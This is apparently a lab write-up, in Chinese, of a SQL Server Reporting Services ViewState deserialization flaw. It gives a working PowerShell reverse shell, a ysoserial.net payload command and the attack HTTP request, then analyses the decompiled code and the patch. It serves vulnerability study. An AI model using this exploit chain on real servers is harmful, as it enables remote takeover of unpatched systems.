漏洞复现
环境:
- Windows 10
- SQL Server 2016(需安装 Reporting Services 模块)
在复现之前我们需要手动创建一个分页报表,如何创建报表本文不再赘述
这里我创建了一个名为 test 的分页报表
SQL Server 安装完毕后服务就已经自动启动
访问 http://localhost/ReportServer 就可以看到 Reporting Services 已经启动:
点击 test 可以看到创建好的报表:
漏洞的路径为 /ReportServer/Pages/ReportViewer.aspx
所以访问 http://localhost/ReportServer/Pages/ReportViewer.aspx:
在 ReportViewer.aspx 中存在反序列化漏洞,可以进行反弹 shell
Powershell 反弹 shell 的脚本如下:
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1", 8888); #开启TCP连接
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0}; #建立一个长度为65535的byte数组作为buffer,初值都设为0
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { #当收到数据长度不等于零时进行循环
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); #得到shell命令
$sendback = (iex $data 2>&1 | Out-String); #执行命令,并把标准输出和标准错误输出都转为字符串存储在$sendback
$sendback2 = $sendback + "PS " + (pwd).Path + "> "; #加上目录
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); #把$sendback2转为byte数组
$stream.Write($sendbyte, 0, $sendbyte.Length); #发送数据
$stream.Flush(); #刷新
}
$client.Close(); #关闭连接
用 Powershell 写出 POC 脚本
使用了 ysoserial.net 工具生成序列化 payload,并复制到剪贴板
ysoserial.net 的下载地址在:https://github.com/pwntester/ysoserial.net
POC 如下:
$command = '$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
echo 'Payload is pasted to clipboard.'
这时使用 nc 监听本地 8888 端口:
nc -lvp 8888
需要发送以下 HTTP 请求来进行攻击:
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X
NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[Payload]&__VIEWSTATE=
这里使用 Postman 发送 POST 请求(需要在 Authorization 处进行 NTLM 验证)
即可得到 shell:
漏洞分析
前置知识
网页使用的是 ASP.NET 技术
ASP.NET 支持三种不同的开发模式:Web Pages、MVC、Web Forms
使用 Web Forms 模式时会自动启用 ViewState 来保留表单数据
通常使用 LosFormatter 来序列化和反序列化 ViewState
而这个页面使用的就是 Web Forms 模式
漏洞就是 LosFormatter 反序列化引起的命令执行
源代码分析
前端
ReportViewer.aspx 页面的源代码如下:
<div id="NavigationCorrector" style="display:none;">
<input type="hidden" name="NavigationCorrector$ScrollPosition" id="NavigationCorrector_ScrollPosition" />
<input type="hidden" name="NavigationCorrector$ViewState" id="NavigationCorrector_ViewState" />
<input
type="hidden"
name="NavigationCorrector$PageState"
id="NavigationCorrector_PageState"
value="NeedsCorrection"
/>
<div id="NavigationCorrector_ctl00">
<input type="hidden" name="NavigationCorrector$NewViewState" id="NavigationCorrector_NewViewState" />
</div>
</div>
其中有四个 type 为 hidden 的 input
他们的 name 分别是NavigationCorrector$ScrollPosition
、NavigationCorrector$ViewState
、NavigationCorrector$PageState
、NavigationCorrector$NewViewState
所以我们才可以传入NavigationCorrector$ViewState
和 NavigationCorrector$PageState
参数来实现命令执行
那么为什么在网页中会出现这些隐藏的 input 呢,我们来看后端的代码
后端
漏洞文件是 ReportingServicesWebServer.dll
在 SQL Server 的安装目录中可以找到
使用 .NET Reflector 来反编译 ReportingServicesWebServer.dll
其中漏洞函数是 Microsoft.Reporting.WebForms.BrowserNavigationCorrector.OnLoad 方法
在搜索框里搜索就能定位到这个方法
方法的源代码如下:
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
this.EnsureChildControls();
if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
{
string str = this.m_viewerViewState.Value;
if (!string.IsNullOrEmpty(str))
{
LosFormatter formatter = new LosFormatter();
object viewState = null;
try
{
viewState = formatter.Deserialize(str);
}
catch (Exception exception1)
{
object[] objArray = new object[] { str, exception1.ToString() };
RSTrace.get_UITracer().TraceException(TraceLevel.Warning, "Failed to rebuild the custom ViewState object. \n- Serialized ViewState: \"{0}\". \n- Exception: {1}", objArray);
}
if (viewState != null)
{
((IPublicViewState) this.m_viewer).LoadViewState(viewState);
}
}
}
}
可以看到在方法的一开始先调用了 EnsureChildControls 方法
双击函数名进行跟进:
protected virtual void EnsureChildControls()
{
if (!this.ChildControlsCreated && !this.flags[0x100])
{
this.flags.Set(0x100);
try
{
this.ResolveAdapter();
if (this._adapter != null)
{
this._adapter.CreateChildControls();
}
else
{
this.CreateChildControls();
}
this.ChildControlsCreated = true;
}
finally
{
this.flags.Clear(0x100);
}
}
}
可以看出这个函数是的功能是确保 ChildControls 开启
而开启需要调用 CreateChildControls 方法
再次双击函数名跟进:
protected override void CreateChildControls()
{
this.Controls.Clear();
base.CreateChildControls();
this.m_scrollPosition = new HiddenField();
this.m_scrollPosition.ID = "ScrollPosition";
this.Controls.Add(this.m_scrollPosition);
this.m_viewerViewState = new HiddenField(); //定义隐藏控件
this.m_viewerViewState.ID = "ViewState";
this.Controls.Add(this.m_viewerViewState);
this.m_pageState = new HiddenField();
this.m_pageState.ID = "PageState";
this.Controls.Add(this.m_pageState);
this.m_updatePanel = new UpdatePanel();
this.Controls.Add(this.m_updatePanel);
this.m_asyncPostBackViewState = new HiddenField();
this.m_asyncPostBackViewState.ID = "NewViewState";
this.m_updatePanel.ContentTemplateContainer.Controls.Add(this.m_asyncPostBackViewState);
}
像 this.m_viewerViewState = new HiddenField();
这样的语句定义了 m_viewerViewState、m_pageState 等隐藏控件
这就是为什么网页里会出现隐藏的 input
再回到漏洞函数:
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
this.EnsureChildControls();
//如果m_pageState(即传入的NavigationCorrector$PageState参数)的值为NeedsCorrection则向下执行
if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
{
//定义str为m_viewerViewState(即传入的NavigationCorrector$ViewState参数)的值
string str = this.m_viewerViewState.Value;
if (!string.IsNullOrEmpty(str))
{
//实例化一个LosFormatter对象
LosFormatter formatter = new LosFormatter();
object viewState = null;
try
{
//对传入的NavigationCorrector$ViewState参数直接进行反序列化
viewState = formatter.Deserialize(str);
}
catch (Exception exception1)
{
object[] objArray = new object[] { str, exception1.ToString() };
RSTrace.get_UITracer().TraceException(TraceLevel.Warning, "Failed to rebuild the custom ViewState object. \n- Serialized ViewState: \"{0}\". \n- Exception: {1}", objArray);
}
if (viewState != null)
{
((IPublicViewState) this.m_viewer).LoadViewState(viewState);
}
}
}
}
好了,漏洞函数的漏洞是如何产生的已经搞清楚了
那么看看这个函数在哪里被调用了
BrowserNavigationCorrector 类在 Microsoft.ReportingServices.WebServer.ReportViewerPage 类的 OnInit 方法中被调用:
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
ReportViewerHost reportViewer = this.ReportViewer;
reportViewer.EnableHybrid = this.ShowHybrid;
if (reportViewer != null)
{
PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
BrowserNavigationCorrector corrector = reportViewer.CreateNavigationCorrector();
reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), corrector);
}
}
而这个类就是处理 ReportViewer.aspx 页面的
所以在 ReportViewer.aspx 中出现了漏洞
而且是 OnInit 方法,页面中的调用顺序也是最高的
后续补丁
微软在后续补丁中开启了 LosFormatter 的 MAC 验证来修复该漏洞
将漏洞函数的这一语句:
LosFormatter losFormatter = new LosFormatter();
改为:
LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());
在微软的官方文档里可以看到 LosFormatter 类的构造函数的不同使用方法:
第一种是默认的不开启 MAC 验证
而第二三种开启了 MAC 验证